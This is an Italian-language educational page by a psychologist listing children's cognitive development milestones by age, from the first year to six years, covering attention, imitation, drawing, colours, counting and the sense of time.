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Bambini

Le tappe dello sviluppo cognitivo PDF 

revisionato il 17 novembre 2013 - a cura di Antonio d'Amore, Psicologo e Psicoterapeuta

 

Nel corso del primo anno: 

  • segue con lo sguardo gli oggetti in movimento;
  • distingue i volti delle persone; alla presenza di un estraneo reagisce col pianto;
  • risponde alle espressioni facciali dell’adulto imitandole;
  • risponde a ordini verbali molto semplici;
  • imita gesti ed azioni;
  • intenzionalmente, toglie e mette in un contenitore piccoli oggetti;

Tra uno e due anni: 

  •  imita azioni e parole dall’adulto;
  • comprende ed esegue ordini verbali semplici e familiari;
  • risponde a parole o comandi con azioni appropriate;
  • è capace di appaiare due oggetti uguali;
  • guardando un libro illustrato con un adulto nomina e indica, su richiesta, le cose rappresentate a lui familiari;
  • riconosce la differenza tra sé e gli altri;
  • ha una capacità molto limitata di mantenere l’attenzione;
  • impara,prevalentemente, attraverso l’auto-esplorazione;

Tra i due e i tre anni:

  • risponde a ordini verbali semplici;
  • sceglie e guarda libri illustrati; riconosce e nomina molti degli oggetti contenuti in una figura;
  • giocando appaia oggetti appartenenti ad una stessa categoria (per esempio, veicoli a motore, armi da guerra, ecc.);
  • dispone su un supporto verticale anelli di diversa grandezza, ordinandoli dal più grande al più piccolo;
  • riconosce la sua immagine nello specchio e dice la parola "bimbo" o il proprio nome;
  • può descrivere in maniera semplice cosa sta facendo; imita le azioni degli adulti;
  • ha capacità di attenzione limitata; impara attraverso l’esplorazione dell’ambiente e le indicazioni dell’adulto;
  • inizia a capire il ruolo funzionale di oggetti familiari ed il concetto di parte/tutto;

 Tra i tre e i quattro anni:

  • riconosce ed appaia sei colori;
  • intenzionalmente, dispone uno sull’altro, dal più grande al più piccolo, dei cubi o dei cerchi;
  • è in grado di disegnare qualcosa che è riconoscibile a lui ma non all’adulto; descrive in maniera semplice ciò che ha disegnato;
  • fa domande a ripetizione (usa spesso “Perché?” o “Come?”) per saperne di più;
  • conosce la propria età;
  • sa dire il proprio nome;
  • ha tempi di attenzione limitati; apprende osservando e imitando l’adulto, ma anche seguendo le istruzioni e le spiegazioni che gli vengono fornite; è facilmente distraibile;
  • è in grado di capire sempre più le funzioni degli oggetti e il concetto parte/tutto;
  • comincia ad essere consapevole del passato e del presente;

 Tra i quattro e i cinque anni:

  • gioca con le parole: crea rime e dice o inventa parole con suoni simili;
  • indica e nomina da quattro a sei colori;
  • abbina figure di oggetti a lui familiari;
  • disegna la figura umana con due/sei parti ben riconoscibili (ad esempio, la testa, le braccia, le gambe, ecc.); denomina le parti del corpo disegnate e le abbina a quelle del proprio corpo;
  • disegna, denomina e descrive figure riconoscibili;
  • ripete i numeri fino a cinque, imitando l’adulto;
  • sa dire il nome della propria città e della strada dove abita;
  • ha una capacità d’attenzione più estesa; impara osservando e ascoltando l’adulto, così come esplorando l’ambiente; è ancora facilmente distraibile;
  • ha una migliore comprensione del concetto di tempo, della funzione degli oggetti e della relazione parte/tutto; la funzione di un oggetto può essere dichiarata dal bambino in aggiunta al nome dell’oggetto stesso;
  • il concetto di tempo del bambino si estende: può parlare con facilità di eventi del passato, del presente o del futuro;

 Tra i cinque e i sei anni:

  • ripete storie rappresentate su libri illustrati con un buon livello di accuratezza;
  • è in grado di riconoscere e denominare alcune lettere e numeri;
  • sa contare fino a dieci;
  • ordina gli oggetti in base alle loro caratteristiche distintive;
  • inizia ad usare con accuratezza i concetti di tempo passato (“Ieri”) e futuro (“Domani”);
  • usa gli strumenti disponibili in classe appropriatamente ed in maniera finalizzata;
  • comincia a correlare le ore del giorno con le attività che generalmente svolge in quelle ore;
  • la sua capacità di attenzione si incrementa notevolmente; impara grazie alle istruzioni degli adulti; quando è interessato, può non distrarsi affatto;
  • la comprensione della funzione degli oggetti migliora sempre più, così come la comprensione del legame causa-effetto ed il concetto di tempo, in particolare per quanto riguarda gli eventi futuri;
 

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